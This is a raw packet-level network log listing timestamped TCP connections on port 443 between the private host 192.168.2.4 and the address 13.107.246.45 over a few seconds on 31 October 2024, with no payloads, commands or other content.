Oct 31, 2024 11:27:59.206490040 CET	49768	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.206504107 CET	443	49768	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.206521988 CET	49768	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.206527948 CET	443	49768	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.208947897 CET	49771	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.208987951 CET	443	49771	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.209053040 CET	49771	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.209177017 CET	49772	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.209194899 CET	49771	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.209208012 CET	443	49771	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.209213972 CET	443	49772	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.209260941 CET	49772	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.209379911 CET	49772	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.209393978 CET	443	49772	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.237787008 CET	443	49766	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.238042116 CET	443	49766	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.238132954 CET	49766	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.238265038 CET	49766	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.238286018 CET	443	49766	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.238298893 CET	49766	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.238303900 CET	443	49766	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.239809990 CET	443	49767	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.239839077 CET	443	49767	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.239902973 CET	49767	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.239908934 CET	443	49767	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.240077019 CET	49767	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.240128040 CET	49767	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.240139008 CET	443	49767	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.240151882 CET	49767	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.240156889 CET	443	49767	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.241796970 CET	49773	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.241836071 CET	443	49773	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.241962910 CET	49773	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.242098093 CET	49773	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.242119074 CET	443	49773	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.242651939 CET	49774	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.242688894 CET	443	49774	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.242753983 CET	49774	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.242933989 CET	49774	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.242944002 CET	443	49774	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.924552917 CET	443	49770	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.925098896 CET	49770	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.925122976 CET	443	49770	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.925568104 CET	49770	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.925573111 CET	443	49770	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.936136961 CET	443	49772	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.936896086 CET	49772	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.936919928 CET	443	49772	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.937649965 CET	49772	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.937659979 CET	443	49772	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.949569941 CET	443	49771	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.950171947 CET	49771	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.950205088 CET	443	49771	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.950570107 CET	49771	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.950577021 CET	443	49771	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.980479002 CET	443	49774	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.980951071 CET	49774	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.980967999 CET	443	49774	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.981563091 CET	49774	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.981568098 CET	443	49774	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.988276005 CET	443	49773	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.988642931 CET	49773	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.988677025 CET	443	49773	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.989092112 CET	49773	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.989099026 CET	443	49773	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.054572105 CET	443	49770	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.054666996 CET	443	49770	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.054727077 CET	49770	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.055031061 CET	49770	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.055049896 CET	443	49770	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.055059910 CET	49770	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.055068970 CET	443	49770	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.058841944 CET	49775	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.058913946 CET	443	49775	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.058989048 CET	49775	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.059171915 CET	49775	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.059189081 CET	443	49775	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.067024946 CET	443	49772	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.067136049 CET	443	49772	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.067223072 CET	49772	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.067327976 CET	49772	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.067343950 CET	443	49772	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.067358971 CET	49772	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.067365885 CET	443	49772	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.070600986 CET	49776	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.070656061 CET	443	49776	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.070714951 CET	49776	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.070913076 CET	49776	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.070930004 CET	443	49776	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.090413094 CET	443	49771	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.090481997 CET	443	49771	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.090555906 CET	49771	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.090847969 CET	49771	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.090869904 CET	443	49771	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.090883017 CET	49771	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.090888023 CET	443	49771	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.093687057 CET	49777	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.093739986 CET	443	49777	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.093820095 CET	49777	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.093955994 CET	49777	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.093971014 CET	443	49777	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.111429930 CET	443	49774	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.111709118 CET	443	49774	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.111807108 CET	49774	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.111835003 CET	49774	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.111850023 CET	443	49774	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.111860037 CET	49774	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.111865044 CET	443	49774	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.114514112 CET	49778	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.114547014 CET	443	49778	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.114634991 CET	49778	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.114809990 CET	49778	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.114825964 CET	443	49778	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.124315977 CET	443	49773	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.124531984 CET	443	49773	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.124604940 CET	49773	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.124650002 CET	49773	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.124672890 CET	443	49773	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.124685049 CET	49773	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.124691010 CET	443	49773	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.126744032 CET	49779	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.126779079 CET	443	49779	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.126849890 CET	49779	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.126966000 CET	49779	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.126976013 CET	443	49779	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.781877995 CET	443	49775	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.782370090 CET	49775	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.782413006 CET	443	49775	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.782850981 CET	49775	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.782856941 CET	443	49775	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.805375099 CET	443	49776	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.805941105 CET	49776	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.805977106 CET	443	49776	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.806402922 CET	49776	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.806408882 CET	443	49776	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.833578110 CET	443	49778	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.834064007 CET	49778	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.834078074 CET	443	49778	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.834347010 CET	443	49777	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.834536076 CET	49778	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.834541082 CET	443	49778	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.834623098 CET	49777	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.834636927 CET	443	49777	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.835107088 CET	49777	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.835113049 CET	443	49777	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.853240967 CET	443	49779	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.853750944 CET	49779	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.853760004 CET	443	49779	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.854171991 CET	49779	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.854176044 CET	443	49779	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.910625935 CET	443	49775	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.910701036 CET	443	49775	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.910788059 CET	49775	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.910995960 CET	49775	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.911031961 CET	443	49775	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.911042929 CET	49775	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.911050081 CET	443	49775	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.913980961 CET	49780	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.914005995 CET	443	49780	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.914103985 CET	49780	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.914275885 CET	49780	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.914289951 CET	443	49780	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.936664104 CET	443	49776	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.936901093 CET	443	49776	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.936981916 CET	49776	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.937179089 CET	49776	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.937196016 CET	443	49776	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.937206030 CET	49776	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.937210083 CET	443	49776	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.939646959 CET	49781	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.939690113 CET	443	49781	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.939757109 CET	49781	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.939871073 CET	49781	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.939884901 CET	443	49781	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.970962048 CET	443	49777	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.971034050 CET	443	49777	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.971086025 CET	49777	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.971203089 CET	443	49778	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.971327066 CET	443	49778	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.971419096 CET	49778	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.971487999 CET	49777	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.971513033 CET	443	49777	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.971524000 CET	49777	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.971529961 CET	443	49777	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.972592115 CET	49778	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.972601891 CET	443	49778	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.972615004 CET	49778	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.972619057 CET	443	49778	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.975898027 CET	49782	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.975931883 CET	443	49782	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.976003885 CET	49782	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.976548910 CET	49783	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.976594925 CET	443	49783	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.976816893 CET	49783	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.977005005 CET	49782	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.977020025 CET	443	49782	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.977200031 CET	49783	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.977211952 CET	443	49783	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.985347986 CET	443	49779	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.985488892 CET	443	49779	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.985537052 CET	49779	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.985732079 CET	49779	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.985745907 CET	443	49779	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.985754967 CET	49779	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.985761881 CET	443	49779	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.988611937 CET	49784	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.988655090 CET	443	49784	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:00.988718033 CET	49784	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.988893986 CET	49784	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:00.988912106 CET	443	49784	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.645720959 CET	443	49780	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.667144060 CET	443	49781	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.687154055 CET	49780	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.712060928 CET	443	49782	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.716938972 CET	49781	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.720314026 CET	49780	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.720341921 CET	443	49780	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.720788956 CET	49780	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.720793962 CET	443	49780	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.721075058 CET	49781	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.721087933 CET	443	49781	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.721441984 CET	49781	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.721446037 CET	443	49781	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.721652985 CET	49782	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.721672058 CET	443	49782	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.721993923 CET	49782	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.721998930 CET	443	49782	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.726110935 CET	443	49784	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.726948023 CET	49784	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.726977110 CET	443	49784	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.727298021 CET	49784	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.727304935 CET	443	49784	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.748296976 CET	443	49783	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.750598907 CET	49783	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.750618935 CET	443	49783	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.751220942 CET	49783	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.751225948 CET	443	49783	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.845448971 CET	443	49780	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.845519066 CET	443	49780	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.845668077 CET	49780	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.845828056 CET	49780	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.845845938 CET	443	49780	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.845884085 CET	49780	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.845889091 CET	443	49780	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.847270966 CET	443	49781	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.847326040 CET	443	49781	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.847398043 CET	49781	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.847524881 CET	49781	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.847541094 CET	443	49781	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.847553968 CET	49781	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.847552061 CET	443	49782	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.847568035 CET	443	49781	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.847727060 CET	443	49782	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.847780943 CET	49782	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.848632097 CET	49782	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.848634005 CET	49785	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.848638058 CET	443	49782	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.848669052 CET	443	49785	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.848673105 CET	49782	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.848676920 CET	443	49782	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.848742962 CET	49785	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.850038052 CET	49786	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.850086927 CET	443	49786	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.850191116 CET	49786	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.850298882 CET	49786	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.850307941 CET	49785	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.850317001 CET	443	49786	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.850322962 CET	443	49785	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.851033926 CET	49787	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.851044893 CET	443	49787	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.851108074 CET	49787	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.851253986 CET	49787	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.851258993 CET	443	49787	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.858231068 CET	443	49784	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.858299971 CET	443	49784	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.858359098 CET	49784	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.858488083 CET	49784	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.858505964 CET	443	49784	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.858520031 CET	49784	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.858525038 CET	443	49784	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.860321045 CET	49788	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.860359907 CET	443	49788	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.860429049 CET	49788	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.860899925 CET	49788	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.860915899 CET	443	49788	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.884089947 CET	443	49783	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.884306908 CET	443	49783	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.884464025 CET	49783	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.884690046 CET	49783	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.884707928 CET	443	49783	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.884723902 CET	49783	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.884731054 CET	443	49783	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.887629032 CET	49789	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.887680054 CET	443	49789	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:01.887768984 CET	49789	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.887883902 CET	49789	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:01.887896061 CET	443	49789	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.576562881 CET	443	49786	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.577071905 CET	49786	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.577107906 CET	443	49786	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.577511072 CET	49786	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.577519894 CET	443	49786	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.583538055 CET	443	49787	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.584023952 CET	49787	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.584059000 CET	443	49787	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.584496975 CET	49787	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.584505081 CET	443	49787	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.584832907 CET	443	49785	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.585336924 CET	49785	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.585354090 CET	443	49785	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.585542917 CET	49785	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.585546970 CET	443	49785	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.596251011 CET	443	49788	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.603544950 CET	49788	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.603569984 CET	443	49788	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.604377985 CET	49788	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.604382992 CET	443	49788	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.610783100 CET	443	49789	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.611321926 CET	49789	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.611346006 CET	443	49789	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.611701965 CET	49789	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.611706972 CET	443	49789	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.704971075 CET	443	49786	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.705065966 CET	443	49786	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.705140114 CET	49786	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.705270052 CET	49786	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.705293894 CET	443	49786	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.705308914 CET	49786	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.705315113 CET	443	49786	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.707926989 CET	49790	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.707964897 CET	443	49790	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.708039045 CET	49790	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.708374023 CET	49790	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.708389997 CET	443	49790	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.712064028 CET	443	49787	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.712276936 CET	443	49787	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.712337017 CET	49787	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.712376118 CET	49787	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.712376118 CET	49787	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.712394953 CET	443	49787	13.107.246.45	192.168.2.4
